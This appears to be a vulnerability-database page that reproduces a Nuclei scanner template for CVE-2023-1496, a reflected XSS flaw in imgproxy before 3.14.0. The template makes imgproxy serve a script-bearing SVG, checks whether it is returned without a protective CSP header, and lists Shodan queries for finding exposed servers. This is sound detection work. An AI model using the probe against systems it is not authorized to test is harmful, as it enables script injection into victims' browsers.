漏洞描述
Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
CVE-2023-1496: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
PoC代码[已公开]
id: CVE-2023-1496
info:
name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
author: pdteam
severity: medium
description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
reference:
- https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
- https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-1496
cwe-id: CWE-79
epss-score: 0.17247
epss-percentile: 0.94788
cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: evilmartians
product: imgproxy
shodan-query:
- "Server: imgproxy"
- "server: imgproxy"
tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln
http:
- method: GET
path:
- "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain);"
- "<?xml version"
- '<script type="text/javascript">'
condition: and
- type: word
part: header
words:
- "Content-Security-Policy: default-src 'none';"
negative: true
- type: status
status:
- 200
# digest: 4a0a00473045022100db203d2bd76d7ae98624e58e8eac4c11bd6b2aa41ef9e34cd74118e86ebbdf86022059fbc35e2a3f4e39366f99a3edd7a38af5217eebc0a2918171f1df22a9fc8475:922c64590222798bb761d5b6d8e72950